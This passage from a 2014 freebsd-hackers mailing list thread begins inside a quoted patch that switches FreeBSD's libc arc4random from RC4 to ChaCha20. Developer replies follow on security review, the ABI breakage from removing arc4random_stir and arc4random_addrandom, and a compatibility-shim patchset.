RANDOMDEV "/dev/random" >> -#define KEYSIZE 128 >> #define _ARC4_LOCK() \ >> do { \ >> if (__isthreaded) \ >> @@ -74,187 +63,149 @@ >> _pthread_mutex_unlock(&arc4random_mtx); \ >> } while (0) >> >> +#define KEYSZ 32 >> +#define IVSZ 8 >> +#define BLOCKSZ 64 >> +#define RSBUFSZ (16*BLOCKSZ) >> static int rs_initialized; >> -static struct arc4_stream rs; >> -static pid_t arc4_stir_pid; >> -static int arc4_count; >> +static pid_t rs_stir_pid; >> +static chacha_ctx *rs; /* chacha context for random keystream */ >> +static u_char *rs_buf; /* keystream blocks */ >> +static size_t rs_have; /* valid bytes at end of rs_buf */ >> +static size_t rs_count; /* bytes till reseed */ >> >> +static inline void _rs_rekey(u_char *dat, size_t datlen); >> + >> extern int __sysctl(int *name, u_int namelen, void *oldp, size_t *oldlenp, >> void *newp, size_t newlen); >> >> -static inline u_int8_t arc4_getbyte(void); >> -static void arc4_stir(void); >> - >> static inline void >> -arc4_init(void) >> +_rs_init(u_char *buf, size_t n) >> { >> - int n; >> + if (n < KEYSZ + IVSZ) >> + return; >> >> - for (n = 0; n < 256; n++) >> - rs.s[n] = n; >> - rs.i = 0; >> - rs.j = 0; >> -} >> + if (rs == NULL && (rs = mmap(NULL, sizeof(*rs), PROT_READ|PROT_WRITE, >> + MAP_ANON, -1, 0)) == MAP_FAILED) >> + abort(); >> + if (rs_buf == NULL && (rs_buf = mmap(NULL, RSBUFSZ, PROT_READ|PROT_WRITE, >> + MAP_ANON, -1, 0)) == MAP_FAILED) >> + abort(); >> >> -static inline void >> -arc4_addrandom(u_char *dat, int datlen) >> -{ >> - int n; >> - u_int8_t si; >> - >> - rs.i--; >> - for (n = 0; n < 256; n++) { >> - rs.i = (rs.i + 1); >> - si = rs.s[rs.i]; >> - rs.j = (rs.j + si + dat[n % datlen]); >> - rs.s[rs.i] = rs.s[rs.j]; >> - rs.s[rs.j] = si; >> - } >> - rs.j = rs.i; >> + chacha_keysetup(rs, buf, KEYSZ * 8, 0); >> + chacha_ivsetup(rs, buf + KEYSZ); >> } >> >> -static size_t >> -arc4_sysctl(u_char *buf, size_t size) >> +static void >> +_rs_stir(void) >> { >> - int mib[2]; >> - size_t len, done; >> + int mib[2]; >> + size_t len; >> + u_char rnd[KEYSZ + IVSZ]; >> >> mib[0] = CTL_KERN; >> mib[1] = KERN_ARND; >> - done = 0; >> >> - do { >> - len = size; >> - if (__sysctl(mib, 2, buf, &len, NULL, 0) == -1) >> - return (done); >> - done += len; >> - buf += len; >> - size -= len; >> - } while (size > 0); >> + len = sizeof(rnd); >> + __sysctl(mib, 2, rnd, &len, NULL, 0); >> >> - return (done); >> -} >> - >> -static void >> -arc4_stir(void) >> -{ >> - int done, fd, i; >> - struct { >> - struct timeval tv; >> - pid_t pid; >> - u_char rnd[KEYSIZE]; >> - } rdat; >> - >> if (!rs_initialized) { >> - arc4_init(); >> rs_initialized = 1; >> - } >> - done = 0; >> - if (arc4_sysctl((u_char *)&rdat, KEYSIZE) == KEYSIZE) >> - done = 1; >> - if (!done) { >> - fd = _open(RANDOMDEV, O_RDONLY | O_CLOEXEC, 0); >> - if (fd >= 0) { >> - if (_read(fd, &rdat, KEYSIZE) == KEYSIZE) >> - done = 1; >> - (void)_close(fd); >> - } >> - } >> - if (!done) { >> - (void)gettimeofday(&rdat.tv, NULL); >> - rdat.pid = getpid(); >> - /* We'll just take whatever was on the stack too... */ >> - } >> + _rs_init(rnd, sizeof(rnd)); >> + } else >> + _rs_rekey(rnd, sizeof(rnd)); >> + bzero(rnd, sizeof(rnd)); /* explicit_bzero */ >> >> - arc4_addrandom((u_char *)&rdat, KEYSIZE); >> + /* invalidate rs_buf */ >> + rs_have = 0; >> + memset(rs_buf, 0, RSBUFSZ); >> >> - /* >> - * Discard early keystream, as per recommendations in: >> - * "(Not So) Random Shuffles of RC4" by Ilya Mironov. >> - */ >> - for (i = 0; i < 1024; i++) >> - (void)arc4_getbyte(); >> - arc4_count = 1600000; >> + rs_count = 1600000; >> } >> >> -static void >> -arc4_stir_if_needed(void) >> +static inline void >> +_rs_stir_if_needed(size_t len) >> { >> pid_t pid = getpid(); >> >> - if (arc4_count <= 0 || !rs_initialized || arc4_stir_pid != pid) >> - { >> - arc4_stir_pid = pid; >> - arc4_stir(); >> - } >> + if (rs_count <= len || !rs_initialized || rs_stir_pid != pid) { >> + rs_stir_pid = pid; >> + _rs_stir(); >> + } else >> + rs_count -= len; >> } >> >> -static inline u_int8_t >> -arc4_getbyte(void) >> +static inline void >> +_rs_rekey(u_char *dat, size_t datlen) >> { >> - u_int8_t si, sj; >> +#ifndef KEYSTREAM_ONLY >> + memset(rs_buf, 0,RSBUFSZ); >> +#endif >> + /* fill rs_buf with the keystream */ >> + chacha_encrypt_bytes(rs, rs_buf, rs_buf, RSBUFSZ); >> + /* mix in optional user provided data */ >> + if (dat) { >> + size_t i, m; >> >> - rs.i = (rs.i + 1); >> - si = rs.s[rs.i]; >> - rs.j = (rs.j + si); >> - sj = rs.s[rs.j]; >> - rs.s[rs.i] = sj; >> - rs.s[rs.j] = si; >> - return (rs.s[(si + sj) & 0xff]); >> + m = MIN(datlen, KEYSZ + IVSZ); >> + for (i = 0; i < m; i++) >> + rs_buf[i] ^= dat[i]; >> + } >> + /* immediately reinit for backtracking resistance */ >> + _rs_init(rs_buf, KEYSZ + IVSZ); >> + memset(rs_buf, 0, KEYSZ + IVSZ); >> + rs_have = RSBUFSZ - KEYSZ - IVSZ; >> } >> >> -static inline u_int32_t >> -arc4_getword(void) >> +static inline void >> +_rs_random_buf(void *_buf, size_t n) >> { >> - u_int32_t val; >> - val = arc4_getbyte() << 24; >> - val |= arc4_getbyte() << 16; >> - val |= arc4_getbyte() << 8; >> - val |= arc4_getbyte(); >> - return val; >> -} >> + u_char *buf = (u_char *)_buf; >> + size_t m; >> >> -void >> -arc4random_stir(void) >> -{ >> - _ARC4_LOCK(); >> - arc4_stir(); >> - _ARC4_UNLOCK(); >> + _rs_stir_if_needed(n); >> + while (n > 0) { >> + if (rs_have > 0) { >> + m = MIN(n, rs_have); >> + memcpy(buf, rs_buf + RSBUFSZ - rs_have, m); >> + memset(rs_buf + RSBUFSZ - rs_have, 0, m); >> + buf += m; >> + n -= m; >> + rs_have -= m; >> + } >> + if (rs_have == 0) >> + _rs_rekey(NULL, 0); >> + } >> } >> >> -void >> -arc4random_addrandom(u_char *dat, int datlen) >> +static inline void >> +_rs_random_u32(u_int32_t *val) >> { >> - _ARC4_LOCK(); >> - if (!rs_initialized) >> - arc4_stir(); >> - arc4_addrandom(dat, datlen); >> - _ARC4_UNLOCK(); >> + _rs_stir_if_needed(sizeof(*val)); >> + if (rs_have < sizeof(*val)) >> + _rs_rekey(NULL, 0); >> + memcpy(val, rs_buf + RSBUFSZ - rs_have, sizeof(*val)); >> + memset(rs_buf + RSBUFSZ - rs_have, 0, sizeof(*val)); >> + rs_have -= sizeof(*val); >> + return; >> } >> >> u_int32_t >> arc4random(void) >> { >> u_int32_t val; >> + >> _ARC4_LOCK(); >> - arc4_count -= 4; >> - arc4_stir_if_needed(); >> - val = arc4_getword(); >> + _rs_random_u32(&val); >> _ARC4_UNLOCK(); >> return val; >> } >> >> void >> -arc4random_buf(void *_buf, size_t n) >> +arc4random_buf(void *buf, size_t n) >> { >> - u_char *buf = (u_char *)_buf; >> _ARC4_LOCK(); >> - arc4_stir_if_needed(); >> - while (n--) { >> - if (--arc4_count <= 0) >> - arc4_stir(); >> - buf[n] = arc4_getbyte(); >> - } >> + _rs_random_buf(buf, n); >> _ARC4_UNLOCK(); >> } >> >> @@ -276,17 +227,8 @@ >> if (upper_bound < 2) >> return 0; >> >> -#if (ULONG_MAX > 0xffffffffUL) >> - min = 0x100000000UL % upper_bound; >> -#else >> - /* Calculate (2**32 % upper_bound) avoiding 64-bit math */ >> - if (upper_bound > 0x80000000) >> - min = 1 + ~upper_bound; /* 2**32 - upper_bound */ >> - else { >> - /* (2**32 - (x * 2)) % x == 2**32 % x when x <= 2**31 */ >> - min = ((0xffffffff - (upper_bound * 2)) + 1) % upper_bound; >> - } >> -#endif >> + /* 2**32 % x == (2**32 - x) % x */ >> + min = -upper_bound % upper_bound; >> >> /* >> * This could theoretically loop forever but each retry has >> @@ -302,24 +244,3 @@ >> >> return r % upper_bound; >> } >> - >> -#if 0 >> -/*-------- Test code for i386 --------*/ >> -#include >> -#include >> -int >> -main(int argc, char **argv) >> -{ >> - const int iter = 1000000; >> - int i; >> - pctrval v; >> - >> - v = rdtsc(); >> - for (i = 0; i < iter; i++) >> - arc4random(); >> - v = rdtsc() - v; >> - v /= iter; >> - >> - printf("%qd cycles\n", v); >> -} >> -#endif >> --- /dev/null Thu May 29 20:52:04 2014 >> +++ chacha_private.h Thu May 29 20:40:54 2014 >> @@ -0,0 +1,222 @@ >> +/* >> +chacha-merged.c version 20080118 >> +D. J. Bernstein >> +Public domain. >> +*/ >> + >> +/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */ >> + >> +typedef unsigned char u8; >> +typedef unsigned int u32; >> + >> +typedef struct >> +{ >> + u32 input[16]; /* could be compressed */ >> +} chacha_ctx; >> + >> +#define U8C(v) (v##U) >> +#define U32C(v) (v##U) >> + >> +#define U8V(v) ((u8)(v) & U8C(0xFF)) >> +#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF)) >> + >> +#define ROTL32(v, n) \ >> + (U32V((v) << (n)) | ((v) >> (32 - (n)))) >> + >> +#define U8TO32_LITTLE(p) \ >> + (((u32)((p)[0]) ) | \ >> + ((u32)((p)[1]) << 8) | \ >> + ((u32)((p)[2]) << 16) | \ >> + ((u32)((p)[3]) << 24)) >> + >> +#define U32TO8_LITTLE(p, v) \ >> + do { \ >> + (p)[0] = U8V((v) ); \ >> + (p)[1] = U8V((v) >> 8); \ >> + (p)[2] = U8V((v) >> 16); \ >> + (p)[3] = U8V((v) >> 24); \ >> + } while (0) >> + >> +#define ROTATE(v,c) (ROTL32(v,c)) >> +#define XOR(v,w) ((v) ^ (w)) >> +#define PLUS(v,w) (U32V((v) + (w))) >> +#define PLUSONE(v) (PLUS((v),1)) >> + >> +#define QUARTERROUND(a,b,c,d) \ >> + a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \ >> + c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \ >> + a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \ >> + c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); >> + >> +static const char sigma[16] = "expand 32-byte k"; >> +static const char tau[16] = "expand 16-byte k"; >> + >> +static void >> +chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits) >> +{ >> + const char *constants; >> + >> + x->input[4] = U8TO32_LITTLE(k + 0); >> + x->input[5] = U8TO32_LITTLE(k + 4); >> + x->input[6] = U8TO32_LITTLE(k + 8); >> + x->input[7] = U8TO32_LITTLE(k + 12); >> + if (kbits == 256) { /* recommended */ >> + k += 16; >> + constants = sigma; >> + } else { /* kbits == 128 */ >> + constants = tau; >> + } >> + x->input[8] = U8TO32_LITTLE(k + 0); >> + x->input[9] = U8TO32_LITTLE(k + 4); >> + x->input[10] = U8TO32_LITTLE(k + 8); >> + x->input[11] = U8TO32_LITTLE(k + 12); >> + x->input[0] = U8TO32_LITTLE(constants + 0); >> + x->input[1] = U8TO32_LITTLE(constants + 4); >> + x->input[2] = U8TO32_LITTLE(constants + 8); >> + x->input[3] = U8TO32_LITTLE(constants + 12); >> +} >> + >> +static void >> +chacha_ivsetup(chacha_ctx *x,const u8 *iv) >> +{ >> + x->input[12] = 0; >> + x->input[13] = 0; >> + x->input[14] = U8TO32_LITTLE(iv + 0); >> + x->input[15] = U8TO32_LITTLE(iv + 4); >> +} >> + >> +static void >> +chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes) >> +{ >> + u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15; >> + u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15; >> + u8 *ctarget = NULL; >> + u8 tmp[64]; >> + u_int i; >> + >> + if (!bytes) return; >> + >> + j0 = x->input[0]; >> + j1 = x->input[1]; >> + j2 = x->input[2]; >> + j3 = x->input[3]; >> + j4 = x->input[4]; >> + j5 = x->input[5]; >> + j6 = x->input[6]; >> + j7 = x->input[7]; >> + j8 = x->input[8]; >> + j9 = x->input[9]; >> + j10 = x->input[10]; >> + j11 = x->input[11]; >> + j12 = x->input[12]; >> + j13 = x->input[13]; >> + j14 = x->input[14]; >> + j15 = x->input[15]; >> + >> + for (;;) { >> + if (bytes < 64) { >> + for (i = 0;i < bytes;++i) tmp[i] = m[i]; >> + m = tmp; >> + ctarget = c; >> + c = tmp; >> + } >> + x0 = j0; >> + x1 = j1; >> + x2 = j2; >> + x3 = j3; >> + x4 = j4; >> + x5 = j5; >> + x6 = j6; >> + x7 = j7; >> + x8 = j8; >> + x9 = j9; >> + x10 = j10; >> + x11 = j11; >> + x12 = j12; >> + x13 = j13; >> + x14 = j14; >> + x15 = j15; >> + for (i = 20;i > 0;i -= 2) { >> + QUARTERROUND( x0, x4, x8,x12) >> + QUARTERROUND( x1, x5, x9,x13) >> + QUARTERROUND( x2, x6,x10,x14) >> + QUARTERROUND( x3, x7,x11,x15) >> + QUARTERROUND( x0, x5,x10,x15) >> + QUARTERROUND( x1, x6,x11,x12) >> + QUARTERROUND( x2, x7, x8,x13) >> + QUARTERROUND( x3, x4, x9,x14) >> + } >> + x0 = PLUS(x0,j0); >> + x1 = PLUS(x1,j1); >> + x2 = PLUS(x2,j2); >> + x3 = PLUS(x3,j3); >> + x4 = PLUS(x4,j4); >> + x5 = PLUS(x5,j5); >> + x6 = PLUS(x6,j6); >> + x7 = PLUS(x7,j7); >> + x8 = PLUS(x8,j8); >> + x9 = PLUS(x9,j9); >> + x10 = PLUS(x10,j10); >> + x11 = PLUS(x11,j11); >> + x12 = PLUS(x12,j12); >> + x13 = PLUS(x13,j13); >> + x14 = PLUS(x14,j14); >> + x15 = PLUS(x15,j15); >> + >> +#ifndef KEYSTREAM_ONLY >> + x0 = XOR(x0,U8TO32_LITTLE(m + 0)); >> + x1 = XOR(x1,U8TO32_LITTLE(m + 4)); >> + x2 = XOR(x2,U8TO32_LITTLE(m + 8)); >> + x3 = XOR(x3,U8TO32_LITTLE(m + 12)); >> + x4 = XOR(x4,U8TO32_LITTLE(m + 16)); >> + x5 = XOR(x5,U8TO32_LITTLE(m + 20)); >> + x6 = XOR(x6,U8TO32_LITTLE(m + 24)); >> + x7 = XOR(x7,U8TO32_LITTLE(m + 28)); >> + x8 = XOR(x8,U8TO32_LITTLE(m + 32)); >> + x9 = XOR(x9,U8TO32_LITTLE(m + 36)); >> + x10 = XOR(x10,U8TO32_LITTLE(m + 40)); >> + x11 = XOR(x11,U8TO32_LITTLE(m + 44)); >> + x12 = XOR(x12,U8TO32_LITTLE(m + 48)); >> + x13 = XOR(x13,U8TO32_LITTLE(m + 52)); >> + x14 = XOR(x14,U8TO32_LITTLE(m + 56)); >> + x15 = XOR(x15,U8TO32_LITTLE(m + 60)); >> +#endif >> + >> + j12 = PLUSONE(j12); >> + if (!j12) { >> + j13 = PLUSONE(j13); >> + /* stopping at 2^70 bytes per nonce is user's responsibility */ >> + } >> + >> + U32TO8_LITTLE(c + 0,x0); >> + U32TO8_LITTLE(c + 4,x1); >> + U32TO8_LITTLE(c + 8,x2); >> + U32TO8_LITTLE(c + 12,x3); >> + U32TO8_LITTLE(c + 16,x4); >> + U32TO8_LITTLE(c + 20,x5); >> + U32TO8_LITTLE(c + 24,x6); >> + U32TO8_LITTLE(c + 28,x7); >> + U32TO8_LITTLE(c + 32,x8); >> + U32TO8_LITTLE(c + 36,x9); >> + U32TO8_LITTLE(c + 40,x10); >> + U32TO8_LITTLE(c + 44,x11); >> + U32TO8_LITTLE(c + 48,x12); >> + U32TO8_LITTLE(c + 52,x13); >> + U32TO8_LITTLE(c + 56,x14); >> + U32TO8_LITTLE(c + 60,x15); >> + >> + if (bytes <= 64) { >> + if (bytes < 64) { >> + for (i = 0;i < bytes;++i) ctarget[i] = c[i]; >> + } >> + x->input[12] = j12; >> + x->input[13] = j13; >> + return; >> + } >> + bytes -= 64; >> + c += 64; >> +#ifndef KEYSTREAM_ONLY >> + m += 64; >> +#endif >> + } >> +} >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" -- Eitan Adler From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 14:28:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DE77BA61; Fri, 30 May 2014 14:28:35 +0000 (UTC) Received: from h.highsecure.ru (mail6.highsecure.ru [IPv6:2a01:4f8:191:22a6::99]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9CC3C2B56; Fri, 30 May 2014 14:28:35 +0000 (UTC) Received: from medway.cl.cam.ac.uk (medway.cl.cam.ac.uk [IPv6:2001:630:212:238:21c:c0ff:fe4b:2b85]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: vsevolod@highsecure.ru) by h.highsecure.ru (Postfix) with ESMTPSA id AE95F3002B8; Fri, 30 May 2014 16:27:51 +0200 (CEST) Message-ID: <5388958F.9010105@FreeBSD.org> Date: Fri, 30 May 2014 15:28:31 +0100 From: Vsevolod Stakhov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Eitan Adler , Adrian Chadd , Mark Murray Subject: Re: switch arc4random to chacha References: In-Reply-To: X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: naddy@FreeBSD.org, Ted Unangst , FreeBSD Security Team , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 14:28:36 -0000 +naddy On 30/05/14 05:06, Eitan Adler wrote: > +markm, +secteam > > Thanks for the patch,. > > Keeping this code in sync is certainly a worthwhile goal. > > > On 29 May 2014 19:54, Adrian Chadd wrote: >> Hi! >> >> How about running this via the security team here? > > He started that process, but mailing a a patch to the mailing list > >> Start with Mark Murray (markm@freebsd.org) > > I think you mean "keep it on a mailing list, but lets CC someone so it > catches their eye". > > > Mark any thoughts? > >> I'm sure they'll at least want you to fire this up in a VM and test. :P > > :) > Here is more old but still ignored PR with the same proposal: kern/182610 -- Vsevolod Stakhov From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 15:41:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 31018727 for ; Fri, 30 May 2014 15:41:14 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 98505228F for ; Fri, 30 May 2014 15:41:13 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s4UFf3u4049117; Fri, 30 May 2014 18:41:03 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s4UFf3u4049117 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s4UFf30m049116; Fri, 30 May 2014 18:41:03 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 30 May 2014 18:41:03 +0300 From: Konstantin Belousov To: Ted Unangst Subject: Re: switch arc4random to chacha Message-ID: <20140530154103.GL3991@kib.kiev.ua> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hdhkc9EpVJoq6PQ6" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 15:41:14 -0000 --hdhkc9EpVJoq6PQ6 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, May 29, 2014 at 09:04:11PM -0400, Ted Unangst wrote: > This syncs libc arc4random.c with OpenBSD, mostly to change the > implementation to ChaCha20. >=20 > I removed the more complicated seed fetching code and changed it to > just sysctl(). A quick check revealed that the FreeBSD kernel supports > this for at least five years now. It's much simpler to use code that > always works instead of a series of untested fallbacks that are even > less likely to work. >=20 > Also removes the addrandom interface as a useless complication. If the > kernel is incapable of properly seeding arc4random, application code > can't do any better. >=20 > Unfortunately, I don't have any FreeBSD systems running at the moment, > so I can't make any promises that this will even compile, but it > passed the eyeball test. Am I right that the patch removes arc4random_stir and arc4random_addrandom symbols ? If yes, this is done incorrect, and it in fact is disallowed, since it breaks ABI. The compat shims must be provided, possibly issuing a warning, and default version for the symbols must be removed to prevent linking new consumers. --hdhkc9EpVJoq6PQ6 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTiKaPAAoJEJDCuSvBvK1BhHoP/2jpaIfQRiSteBMwymrXgo8r viD7Rx/uWKhR3KjD9as5De79guExpgxf5jgkEuRYOdMIjUdvGanYPe19e/kKCfKl BP9pMUcXumjoOrt/7rcMZEPuHyoU6WnrrEAVxbmkEN2YSDiWNovw29HaYDVZjqdo TRAoTiPkauq78zhDQtHOrxfc3ixbCoqzPvQuP9D76fRM/bmCM0x9fU9cwffQU8tC YgRKWYkgOxz1fQ1Wg2sDCNxKIGj/5d8uIRuw7gaWeiTjA2MMi17VtajylFmrvfx4 HAtj5B/nFa3zL4DT1tc6SmFvxIpmnxTIySaTCp1SDjFK9Mpu2EiWlTMdbAPO/EmK CpyYT+jTHl2l7bMKwDSrEZEVbnI0qt3WgUCsiSO1pCyVwNuDey+sqED2t2DU5f/Q yBy/tkLL/tYROXMN7Zv801QrQz7cbUJCSeLZ7V+KWu7Q8Wv4d3CGALmSvyh/VV4W vuDgoZ6KZ/Kpe80scMR+3+Usm0gRv7AgTJkLJqo5ZjSrzFNLLn5Vo4+G16002xzI slt3RwibmMalY8oIWpUL5GsNW8PaVP1Uaa+XUsXSM0zRxJOFm4PSI/xBsLRRcf/D wCwWnIbwRgB4ntY5lmooLSru6/yk5fU9dTZygww0KfumtFqfMG2f93aPfgk5WLER Id58NHYSSq9/3ZgJoMcy =14XU -----END PGP SIGNATURE----- --hdhkc9EpVJoq6PQ6-- From owner-freebsd-hackers@FreeBSD.ORG Fri May 30 17:49:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0854644D for ; Fri, 30 May 2014 17:49:56 +0000 (UTC) Received: from anubis.delphij.net (anubis.delphij.net [IPv6:2001:470:1:117::25]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "anubis.delphij.net", Issuer "StartCom Class 1 Primary Intermediate Server CA" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id D038C2F4A for ; Fri, 30 May 2014 17:49:55 +0000 (UTC) Received: from zeta.ixsystems.com (unknown [69.198.165.132]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by anubis.delphij.net (Postfix) with ESMTPSA id 5479421802; Fri, 30 May 2014 10:49:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphij.net; s=anubis; t=1401472194; bh=TD719bIls2dxRpoIc9dnoBNwyLtULE8iIKTT8Ee97Xo=; h=Date:From:Reply-To:To:CC:Subject:References:In-Reply-To; b=eQjRjtMdGMv/b2i4ZsXCkvPeKCbN4L7sApNwdjuhe6nkxLBtecthXI0pZCH9Xpw7/ suck5TrHmwFfPWaY2TzJ9f+yy4Sc9DdznB0knvqWhE3lWBOYbkAaZrb5CozEiOiJfY Q6kOEyD/9+Haty+W+oiCAtzVyhAfp1BiMK3oTL8w= Message-ID: <5388C4C1.8030501@delphij.net> Date: Fri, 30 May 2014 10:49:53 -0700 From: Xin Li Reply-To: d@delphij.net Organization: The FreeBSD Project MIME-Version: 1.0 To: Konstantin Belousov , Ted Unangst Subject: Re: switch arc4random to chacha References: <20140530154103.GL3991@kib.kiev.ua> In-Reply-To: <20140530154103.GL3991@kib.kiev.ua> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 30 May 2014 17:49:56 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 On 05/30/14 08:41, Konstantin Belousov wrote: > On Thu, May 29, 2014 at 09:04:11PM -0400, Ted Unangst wrote: >> This syncs libc arc4random.c with OpenBSD, mostly to change the >> implementation to ChaCha20. >> >> I removed the more complicated seed fetching code and changed it >> to just sysctl(). A quick check revealed that the FreeBSD kernel >> supports this for at least five years now. It's much simpler to >> use code that always works instead of a series of untested >> fallbacks that are even less likely to work. >> >> Also removes the addrandom interface as a useless complication. >> If the kernel is incapable of properly seeding arc4random, >> application code can't do any better. >> >> Unfortunately, I don't have any FreeBSD systems running at the >> moment, so I can't make any promises that this will even >> compile, but it passed the eyeball test. > > Am I right that the patch removes arc4random_stir and > arc4random_addrandom symbols ? If yes, this is done incorrect, > and it in fact is disallowed, since it breaks ABI. > > The compat shims must be provided, possibly issuing a warning, and > default version for the symbols must be removed to prevent linking > new consumers. Actually I have a WIP patchset for this at: https://github.com/delphij/freebsd/compare/featurefork;chacha20 It provided compatibility shims for arc4random_stir and arc4random_addrandom that logs the event for each process once. Another difference (which I haven't seek for review and would like to see criticizes) from OpenBSD is that my version have added threading support. What it does is that the system will create a maximum of CPU number's random states and use the states in a LIFO manner, new state is created on demand when a contention happens and the CPU number limit haven't been reached. (I made a further tweak which basically do #define arc4random_stir() and #define arc4random_addrandom(a,b) in stdlib.h. This allows existing applications that insists arc4random_stir() on FreeBSD to compile -- is there a way to give a compile time warning?) One thing I haven't done yet is to make the kernel portion of arc4random() (i.e. kern.arand) to use Chacha20. Cheers, - -- Xin LI https://www.delphij.net/ FreeBSD - The Power to Serve! Live free or die -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBCgAGBQJTiMTBAAoJEJW2GBstM+nscjQP/RqFc3Hc5hm0mB9wd02OpO8N WLm8tAlPS4hOMy3poEciT5WDE3++vx+EqKXGBpuseKE7QK7xyJiZbJZJWo6lFg9S Lum+PM3CLuaLbzOQ4fyPZitpepyHRg6pHYNzlUQtcxyr+VCkTwS2J/gHXJVgAkVO XtNkzVzG/UKczuOMfWr/4sVo1Dee16nNfhJWBRGCml0dnJ43lVVtH7w0pQ/7/oLJ GFtrEKzoNqjyWmfL0Nn99xeyFwGZemdajm4q06rfVmWfY/uCL0Rl3kO8AHk+8tKk 8kVLGGh5uKvc6oBhrXn/Uo38JO5I3lyjfnIyFngIrepQN9zTRxkpC2vkQRZxOEJd AlVUnJaf8fdyTmIYZZ66IOkODwHFqStqbhtPLobVU7JVGoGTG2E13TBOEy78HuEJ JUckFrZXGoSv7GHEqBJFVPqwHQqQUxjeJEGVD6k70hRhBH9+GTpeDDbo+x9ZnUtB N7FFGnhGFeE3vY6TkvvuWkAy1S5NHiXzHp5PgelIVhbnHBxVoWwoSxGvBhnpUnoQ VUKoRjlWaVm8MLhPPHrjScUBog9KTWLppv5wVPaLtPBKx9KKMPPg6mWi12Y3fA97 